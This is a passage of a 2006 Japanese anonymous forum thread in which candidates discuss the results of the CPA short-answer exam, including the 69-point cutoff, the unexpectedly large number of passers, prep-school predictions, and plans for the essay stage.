74てあおって実際72と思ってた。
まさかシックスナインとかエロい数字にするとわね。


セクハラだよ。

725 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:08:49 ID:???
5000人だと論文は厳しそうだ

726 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:09:36 ID:???
69と72は会計士試験の定番だということがハッキリした。
TACが原価率0.69や0.72にこだわるのも解かる気がした。

727 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:10:10 ID:???
>>718
許してくれてありがとう。
俺は実は75しかないのに74は取れるとか無責任な発言してました。
昨日のお昼に2chボーダー73と言ったのも俺です。
もう何もいわないようにします。

728 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:10:16 ID:???
>>723
舞ちゃんて俺の兄貴の世代からだから5〜6回受けてるよね?

729 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:10:20 ID:???
>>708
ウソツキ・・・
明日イベント行ってくるかな!

730 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:11:07 ID:???
>>728
たぶんそうだと思う。25〜6くらいだと思う。

731 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:11:13 ID:???
雨強くなってきたなぁ。色んな意味で嵐だった・・・

732 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:12:11 ID:???
本当は70にしたかったが疑義門あったから69にしました。
ま、タック採点70でも落ちた奴いるがね。

733 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:12:28 ID:???
ていうかボーダー72とか73予想して
外れたからって誤る必要性はあるのか?
今でも69はありえないと思うし

734 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:12:55 ID:???
>>723
4回目だ。

735 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:13:02 ID:???
舞ちゃんてかわいいの?


736 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:13:10 ID:???
舞タンはどこの予備校行ってるのでつか?

737 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:13:21 ID:???
お前はひねくれてるな。

738 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:13:31 ID:???
>>735
可愛いよ。
お姉さんとはちょっと系統が違う顔だけど。

739 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:13:43 ID:???
今は一般人なんだからそっとしといてあげろよ。

740 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:13:49 ID:???
TACじゃねえの>舞

741 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:13:50 ID:???
おれも4回目だ!

742 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:14:05 ID:???
>>736
TACの成績優秀者で見かけた。
他も使ってるかどうかは不明。

743 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:14:05 ID:???
落ちこぼれて、答練を一度も受けませんでした

企業14
監査13
管理14
財務20

だったんですが、
真面目にやれば来年なんとかなりますでしょうか?

744 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:14:24 ID:???
千賀さんのほうがかわいいよ。

745 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:14:41 ID:???
>>734
多分俺と同じだから5回目だと思う。

746 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:14:42 ID:???
>>734
5回くらいちゃうの?

747 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:15:23 ID:???
>>743
今年簿財取れれば楽勝
取れなくても頑張れば大丈夫

748 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:15:38 ID:???
>>743
十分可能性あると思う。
企業・管理・財務をそれぞれ最低+3する方向でやっていけば良いんでは。

749 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:15:48 ID:???
俺、入門で同じクラスだったもん。4回目で間違いないよ。

750 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:15:55 ID:7Q94wJEz
俺の高校の先輩が菊川姉妹両方くってる。
舞と付き合ってた時に怜と浮気。

751 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:16:07 ID:???
69はないよな!
でも疑義問あるのに73とかにしたら金融庁に疑義について問い詰め電話する奴大量にいただろうな。
でも69なら本来落ちてた奴が受かり、確実落ちがすれすれ落ちに変わっただけだからクレームも少ない。

752 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:16:21 ID:???
東工大出てても5回目って聞くと大変な試験なんだなと思う

753 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:16:55 ID:???
短答の合格率高杉。

これじゃあ採点も不正確になるよ。何考えているんだ。
税理士試験みたいに暗記試験にするつもりか。

ま、論文式試験の合格率が4割超って時もあったので、
実は正常化されたのかもしれないけど...でもなぁ。
あれで7割取れないのはきっついだろ。

どうでもいいけど、専門職大学院乙w

754 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:17:42 ID:???
5回受けてうからんやつは一生受からんよ。

755 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:17:55 ID:???
>>747
>>748
どうも。
来年に向けて真面目にがんばります。

756 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:18:06 ID:7Q94wJEz
ちなみに舞は一回ドロップアウトしてるから実質6回目位だよ。

757 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:18:10 ID:???
俺も答練まともに出てないよ
基礎答練も直前答練も
全部試験1ヶ月前に自宅で解いた

758 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:19:02 ID:???
>>754
8回目で初めて短答に通って論文合格した有名人がいるぞ
11回目で合格して講師と結婚した漢がいるぞ

759 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:19:25 ID:???
マイをみてみたい。

760 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:19:34 ID:???
問題は受験回数じゃなくて年齢だと思う。

761 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:19:39 ID:???
絶対今年5000は多すぎ
来年以降との公平性は保たれるのか?

762 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:19:59 ID:???
>>743
企業17
監査14
管理15
財務23
今年のボーダーこんなもんだよ。
これ見ると来年取れそうじゃない?
簿財は受けるか?

763 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:21:08 ID:???
携帯で合格者調を見られないので、無職&学生の合格率&占有率を教えてくらはい

764 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:22:40 ID:???
>>762
申し込んでるけど、
財務20しかとれてねえから、
多分落ちるでしょ。

765 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:24:13 ID:???
>>764
落ちるって思ってたらそりゃ受からんよ。やると決めたら受かるって信じる。

766 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:24:19 ID:pr4wGlfG
TACもう2ヶ月くらい行ってない
論文怖い

767 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:26:01 ID:???
最大の煽りがタック講師座談会だった件について

768 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:27:13 ID:???
>>764
みっちり対策したら受かるよ。
対策しないと落ちる。

769 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:27:16 ID:???
TACってボーダー74とかほざいてなかった?

770 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:27:20 ID:???
もう論文も基本的なところだけ押さえてあとは作文で行くわ

771 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:27:58 ID:???
1番で落ちるのなんかカワイソスだな。
張り切って出したのに。

772 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:30:38 ID:???
00721さんは受かってるな
00777と07777の人は落ちてる

773 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:30:40 ID:???
>>771
今年は郵送だが。

774 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:31:51 ID:???
いろんな意味でTACが風評被害の元凶だったな

775 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:33:12 ID:???
解答は外しまくるわ、ボーダー予想はかすりもしないわ。
なんで皆TACなの?

776 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:35:34 ID:???
回答外すっていうが
もしろ作問者が悪いんじゃないの?
そんなにいうならLECに行けよ

777 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:37:14 ID:???
別に解答外すことと講義やテキストの質はあんまり関係ないし

778 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:38:22 ID:???
>>769
冊子で76もありうるって書いてたなw

779 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:39:27 ID:???
80は越えてたので点数の不安はなかった。
ただ、試験中に俺のカバンが倒れて、中の教材が開いた状態で露出、
試験官の人が俺の横につきっきり状態だったのが不安材料だった。
うかって良かった・・・

780 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:40:06 ID:???
講師の質が低いから解答間違えるに決まってんだろWWW

781 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:40:07 ID:???
4年目
企業18
監査16
管理11
簿財23
68でフィニッシュしました。
今年で撤退です。
税理士の簿・財・法・所・消申し込んであるけど
簿財+1に絞って受験して即就活します。

合格者のみんな頑張ってな。

782 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:41:16 ID:???
>>781
お疲れ。
君の将来に幸あれ。

783 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:41:49 ID:???
>>779
おれも企業法のマークシートで受験番号マークミスしたような気がして
ずっと不安だった。監査のときに、あれ?さっきとマークしたところ違うような・・・
ってめちゃくちゃ不安になった。論文がんばろうな

784 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:41:51 ID:???
>>780
その質の低い講師に教わって82取っちゃったよ
質の高い講師に教わったら90超えちゃうなwww
意味無いけどwwwww

785 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:42:18 ID:???
それにしても監査問14はLECだけでも2選んどいて良かったね
予備校が全部1だったら、作問者もっと叩かれてそう

786 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:44:01 ID:???
>>781
この流れで来づらいだろうによく来たね
君もがんばってくれたまえ

787 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:48:10 ID:???
さすがに収まってきたかな。おれは寝るよ。今日くらいはいい夢見たいな

788 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:48:10 ID:???
ことしだめだとべては撤退したくなるのは仕方ないな

789 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:48:13 ID:???
中央あほ山がまたSPAを募集している件について

790 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:51:27 ID:???
>>781
                _____
         ,. ‐''三ヾ´彡シ,=`丶、
     /'".:=≡ミ_≧_尨彡三:ヽ、
    //.:;:彡:f'"´‐------ ``'r=:l
    /〃彡_彡′,.=、 ̄ ̄ ,.=、 |ミ:〉
   'y=、、:f´===tr==、.___,. ==、._ゞ{ 
   {´yヘl'′   |   /⌒l′  |`Y}    諦めたらそこで試合終了ですよ
   ゙、ゝ)       `''''ツ_  _;`ー‐'゙:::::l{
.    ヽ.__     ,ィnmmm、   .:::|! 
  ,.ィ'´ト.´     ´`"`"`゙″ .::::;'
イ´::ノ|::::l \         "'   :::/  
::::::::::::|:::::l   ヽ、      ..::  .:::/.、
:::::: ::: |:::::ヽ    ヽ、.......::::/..:::/!\\
::::::::::: |::::::::ヽ    ``''‐--ァt''′ |!:::ヽ:::\
:::::::::::::|::::::::::::ヽ、       /i|iト、  |l:::::::ヽ:::::\  
:::::::::::::|::::::::::::::/:ヽ、   ∧|i|i|i|〉. ||::::::::::ヽ:::::::\


791 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:53:37 ID:???
SPAは資格不問らしいぞ。
短答落ちは狙ってみるのもいいかも。

792 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 12:53:46 ID:???
俺の友達が音信不通になった。
5000人だけにショックも大きいんだろうな。

793 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:06:24 ID:???
69は別に驚くことじゃない。
5000人がサプライズだっただけ。
受からせていくと長期的に論文採点が崩壊してしまうような
レベルの受験者層を認めるとは思わなかった。
実際に採点に支障が出てから考えるという姿勢だったんだな。

794 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:09:16 ID:qBhJTFV/
やはり何人かの試験委員は採点要員と考えた方がいいかもしれん
採点の効率上がるし、予備校は予想しづらくなるしな

795 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:21:31 ID:???
短答合格者増で、容易に科目偏差値を上げやすくなって
科目合格はしやすくなったが、(下位層の一部にホームラン
はありうる)一括合格はちょっとだけ狭くなった。

796 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:22:04 ID:sxZXD2s8
受験番号00001てどうやれば入手できんの?

797 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:23:32 ID:???
論文で何人合格者を出すつもりなんだろう?

798 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:23:49 ID:psRe5Wy0
徹夜しろ

あなたもわたしも会計士♪
ことしの論文は合格率50%♪

799 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:25:46 ID:???
何年か後には科目合格組だが最後の一つ二つがとれなくて諦めるベテが出てくるんだな・・・


800 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:27:39 ID:???
>>797
全然わからねえ。
初年度だけの特別基準を採用しそうな勢いだから
部外者には読めない。

801 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 13:29:00 ID:???
来年さらに各科目3人ずつ追加試験委員が発表されるそうです

802 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:31:33 ID:teM5Jo3a
俺は66でだめだったけど、みんながんばれ

がんばれ がんばれ がんばれ がんばれ

ああもう情けなくて涙がでてくるよ

803 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:32:52 ID:???
>>802
その涙が来年必ず喜びの涙になる
今だけは思い切り泣け

804 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:33:51 ID:???
よかった・・・何とか合格してた。
それにしても5,000人超はサプライズ。
過年度の基準とここまでかけ離れているのが凄い・・・。

805 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 13:39:30 ID:???
ヴァ−神・田坂に逆らったのがよくなかったなTAC・・・

806 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 13:44:21 ID:???
>>799
その頃には君もヴェテだよ

807 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 13:52:02 ID:???
70点5000人合格説を言ってる人もいたな

808 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:53:02 ID:???
企業 18
監査 14
管理 14
財会 20
66でした。やっぱり財務会計のせいで落ちたな。
来年がんばれば受かるんだろうか。
保険かけといた税理士の簿財がんばろう・・・。

809 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:53:53 ID:???
論文合格発表日まではどうなるか予測もツカネ

810 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:54:44 ID:???
7割の方々はいずこ?

811 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:55:11 ID:???
今年は会計士試験も旧司法試験も激変だな

812 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 13:56:10 ID:K5ZScNdv
監査19が3だったらな・・・
終わった

813 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:02:36 ID:???
5000人も合格者出すと来年の短答受験者のレベルが相当低くなるよな
短答は低レベルな足切りとなったわけか…
そう考えると新試験制度では短答は旧試験制度の1次試験みたいなもんか


814 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:03:05 ID:???
今年の1点落ちはしんどいな。

815 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:03:11 ID:???
75以下は潔くあきらめろ。

816 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:05:10 ID:???
72の分際で言うのも何だけど

2年免除・・85〜
1年免除・・75〜
今年のみ・・〜74

みたいに分けたらいいのにな

817 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:06:14 ID:???
論文合格者は増えるだろ普通に考えて

818 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:09:32 ID:???
70じゃなくて69なところがミソだな。
今年は最初から5000人出すつもりぽかった。
来年は減るだろうな。

819 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:12:48 ID:???
>>818
最初から5000人で切る予定だったのがミエミエだよな

820 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:15:16 ID:???
5000人ってなんだよww
各都道府県100人づつ合格してもお釣りがくるじゃん

821 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:16:33 ID:???
地方は免除の受験番号が別なんだな。
関東と関西だけは普通に連番だ。なにこのよく分からないわけ方。

822 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:17:57 ID:???
5000人という数字と2年免除制の導入は
明らかに大量の科目合格を想定してるな・・

823 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:20:01 ID:???
論文は志保のぞいても2000人合格させるべきだな

まさか2年免除の短答で5000人も受からせといて、
1400人ちょっと とかねぇよなww

824 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:22:14 ID:???
知り合いの03一発合格が中小法人勤務で、05三発合格が大手法人勤務な
件について

825 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:24:10 ID:???
来年はアカスクも参入してくるし
財務免除の価値はますます上がるな

826 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:24:41 ID:???
>>822
論文合格者が少ないと、来年は短答合格者が以上に減るよね。

827 :粘着うんこだだもらし66号:2006/07/05(水) 14:26:36 ID:???
うかって他。
これからTAC逝く。

うかった人も落ちた人もまたこれから尾他外がんばろう。

828 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:27:35 ID:???
今年は管監企が楽で財務がむずかしかったからまだしも
これが逆になったら財務免除って自分の首を締めることにならんか

829 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:28:59 ID:???
>>828
そりゃそうだ。
来年以降も財務免除が必ず有利になる保証なんてこれっぽっちもない。

830 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:31:13 ID:???
>>823
論文は、科目合格があるんだから、
全科目合格者がそれくらいの可能性もあるんじゃね?

俺は、あの公認会計士委員会が、 最後まで優しい はずはないと思っている。

831 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:31:37 ID:???
財務はどうせ来年楽になるだろ

832 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:34:38 ID:???
監査や企業は直前に短答受けてるヤシのほうが論文でも強そうな気もするけどな

833 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:36:19 ID:???
2年免除制は科目合格制と連動したものだから、科目合格は大量に
出ると思うな

834 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:37:46 ID:???
>>832
勉強すればいいだけ。

835 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:38:03 ID:???
今年は論文試験と発表が丸一四半期空くから、これをどう過ごすかは
結構重要だろうな

836 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:40:35 ID:???
合格年度(03就職難)にしろ受験開始年度(07入門)にしろ、年によって
大きく変動しすぎだと思うよ、この試験

837 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:42:19 ID:???
828 一般に公正妥当と認められた名無しさん sage 2006/07/05(水) 14:27:35 ID:???
今年は管監企が楽で財務がむずかしかったからまだしも
これが逆になったら財務免除って自分の首を締めることにならんか

829 一般に公正妥当と認められた名無しさん sage 2006/07/05(水) 14:28:59 ID:???
>>828
そりゃそうだ。
来年以降も財務免除が必ず有利になる保証なんてこれっぽっちもない。


ヒント:政策的配慮

838 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:42:57 ID:???


839 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:43:10 ID:???
>>831
財務は勉強するだけで苦痛。
税理士優遇政策だから簡単になる気配もないけど。

840 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:46:18 ID:???
もし会計学の科目合格とったら、「電卓を使わない会計士受験生」
になるの??

841 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:47:46 ID:???
やぁ、
TAC65→なぜか合格の俺様がやってきましたよ(´・ω・`)

今日は久々に彼女とセクロスしました(´・ω・`)

842 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:48:07 ID:???
経営 統計 経済 電卓使うだろ。

843 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:49:02 ID:???
>>842
租税法もなー

844 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:49:17 ID:???
会計学T(2時間)=管理会計、会計学U(3時間)=簿財、なのは
明らかなのに大原は何を迷ってるんだろ

845 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:49:37 ID:???
落ちた







夢を見た (´・ω・`)

846 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:50:04 ID:???
5000人合格した今年より簡単な短答は未来永劫ないんじゃないか?
されど合格は合格。

847 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:50:59 ID:???
経済学部なんだが、学界で有名なゼミの教授が「経済学で電卓を使うとは
何事だ」と言ってた

848 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:51:55 ID:???
計算尺を使えとでも言うの

849 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:53:06 ID:???
>>847
教授は、PCを使わないのか?
PCなんてちょっと機能充実したデカイ電卓だろ

850 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:53:29 ID:???
>>845
7割もいるんだ、別に珍しくない

851 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:53:46 ID:???
予備校の教室の人数を報告ギボンヌ

852 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:54:15 ID:???
>>844
は?

853 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:56:21 ID:jcr/FGXj
素朴な疑問。
これだけの短答合格者(来年免除)出たということは、
来年の短答合格が少なくなるということか。
そうしなければ、論文の受験者が7,8千人にもなってしまう。
来年の短答受験者は圧倒的に不利ということになる。


854 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 14:59:04 ID:???
これだけの短答合格者を出した審査会だから
来年も「こんなに多い」と言われる位の合格者を
出すかもよ

855 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 14:59:20 ID:???
だから財務免除取れよ
そうしないと不利は否めない

856 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:00:15 ID:???
>>853
おまえヴァカ?
10000人の論文キャパがあることが今年証明された。

ことしの論文合格が1500として
来年仮に3500合格なら
短答合格のハードルは高くなるということにはならない。

857 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:01:20 ID:???
来年は今年の合格者がいないんだから受験人数が大幅に減るから一概に難化とはいえないと思うが。

858 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:01:47 ID:???
PC持ってないから携帯で合格発表みたんだけど、画面が小さいせいか合格者の番号がちゃんと並んでなくて、おれの番号なくて死ぬほどあせった!

859 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 15:03:34 ID:???
監査13「個々にARを設定する」のはおかしいよな?

860 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:03:42 ID:???
>>856
10,000人のキャパがあるってのは言いすぎじゃね?
旧合格者は監査と租税だけだし。

んま、来年の短答なんてどうでもいいんだけど

861 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 15:04:10 ID:???
来年大幅減はないでしょ。3000は受かる。

862 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:04:32 ID:???
【まさか】就職難必至!!【3千人】

とか5ヶ月後に立つんじゃね?

863 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:05:02 ID:???
アカスクも参入してくるし今年よりは厳しいだろ
ちょっと今年は多すぎる

864 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 15:05:34 ID:???
>>158を最初見たときネタかと思った

865 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:06:16 ID:???
そうでもないだろ。大手は、今相当きついみたいだぞ。
就職問題は、2〜3年の間は、平穏かと。

866 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:06:42 ID:???
去年担当合格→論文落ちが2000人だから、新規合格は3000人。
来年担当合格が3000人を超えるなら易化ってことだろ。

867 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:07:31 ID:???
>>864
俺も。
5000人はネタにしてもやり過ぎだろと思った。

868 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:07:40 ID:???
>>860
他の科目も同じ数の試験委員がいますが・・・

かつては10000人の論文だったわけですが・・・・

869 :金融庁:2006/07/05(水) 15:08:48 ID:???
これは国レベルで行われた壮大なネタです。
受験生に1日だけ夢を見させてやろうという魂胆でした。
明日正式な合格者を発表します。

870 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:09:08 ID:???
疑ってすまなかった。

871 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:09:13 ID:???
来年

12500人受験
3400人合格

合格率27%

こんなもんだろ

872 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:09:52 ID:???
>>869
やっぱり

873 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:10:01 ID:???
戦争起きるのかな‥

874 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:10:17 ID:???
9,000人受験 2,800人合格 こんなもんだろ

875 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:10:22 ID:???
>>866
残念ながら来年の易化はないって
審査会も今年が多すぎるの耳にするから
とりあえず税理士がんばれ

876 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:11:37 ID:RpFamhsl
06
07
08

だったら間違いなく今年短答に合格するのが一番難しい。
来年再来年は論文がしんどい。
旧試験からの猛者は半端じゃない

877 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:13:40 ID:???
誰か4割規制に引っかかった人いない?

878 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:13:57 ID:???
今年68以下のベテが撤退するかどうかだな

879 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:14:27 ID:???
>>148
今確認したら俺、監査の14、19と管理の3が割れた答えの方で×だったみたい
この疑義問題ってようするに作問がまずいって認識でイイの?
まぁ受かったからいいが

880 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:14:28 ID:???
合格者の最年少が18歳か・・。大学一年生で受かるってすごいなぁ。大学の受験勉強しながらって事でしょ。天才っているもんだなぁ。大学生じゃなくて高校生かもしれないが凄い事に変わりはないな。

881 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:15:32 ID:???
ブロガーはほとんど受かってるっぽいな。

882 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:15:38 ID:???
>>878
ヴェテで今年の不合格は尋常ならざるショックだろ。
昨年で撤退したヤシも多いが、
今年の徹底も多いんじゃないかな。

883 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:15:56 ID:???
>>880
総計の上がりとかだと思う。
さすがに受験しながらは無理じゃね?

884 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:16:07 ID:???
今会計士は何人いるんだっけ?15,000人くらい?平成30年までに会計士を50,000人にするって公表されてるから、
(50,000−15,000)÷13年=2,692人
∴今年の論文合格者は約2,500人!!

885 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:16:33 ID:???
俺が大学1年の頃は借方貸方という言葉すら知らなかった。
っていうか、論理的に考える頭すら無かった。

886 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:17:17 ID:???
今年の合格者がそろって5000は多すぎることを指摘するから
来年の短答は難化するぞい。。。

887 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:17:32 ID:???
>>880
早稲田とか慶應の内部進学がおおいんじゃないかと思うわ
旧試験制度におてい内部進学だと、大学入学と同時に会計士試験の勉強始めて大学3年で合格した奴も多かったし
内部進学者だと高校3年から勉強する時間的余裕もある

888 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:17:56 ID:AEJIui0I
この結果を受け、国税庁がどういった動きにでるかだな。

889 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:19:03 ID:???
>>881
やっとくさんと
借金さんは?

890 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:19:44 ID:???
ってか俺大学1年のとき簿記の講義やる気なかったせいもあって単位もらえなかったし

891 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:20:20 ID:???
>>884
それって受験生が増えることを想定しての話だよ
質を維持するために合格率は変えないってはっきり言ってるから
要するに少子化を考慮しない国民年金と同じよ

892 :一般に公正妥当と認められた名無しさん :2006/07/05(水) 15:20:52 ID:???
というか短答合格の論文落ちが大量発生して来年以降が大変なんじゃね。今年受からないと来年以降毎年繰越分母が増えることになるからね。
馬鹿なやつが試験制度改革で会計士試験は難易度が大幅に下がったと言ってるがこいつら実際に受けてないやつだろうな。


893 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:20:57 ID:???
>>886
今までが少なすぎたんだよ、あふぉ
当初は3割通るのが短答だった

894 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:21:01 ID:???
会計専門職大学院在学
短答式受験者 404人
短答式合格者 101人
合格割合 25.0%
短答式構成比 2.0%
短答式免除者 6人
論文式資格者 107人

っていうのは、何?
アカスク生は、あの問題で25%しか合格できなかったの?!



895 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:21:02 ID:???
>>884
ヒント:科目合格

896 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:22:43 ID:fOw4Zy/b
税理士法改正で院免除の内容が変わった、
H15年の簿財の合格率20%超と同じようなもんだ
来年から元通りになると思う。

897 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:23:02 ID:???
>>894
在学中だと4科目受けなきゃいけないし、そんなもんなんじゃない。

898 :一般に公正妥当と認められた名無しさん:2006/07/05(水) 15:23:24 ID:???
>>889
やっとくって何点だったんだろ?ノーペイン氏くらいがアウトっぽいよな。

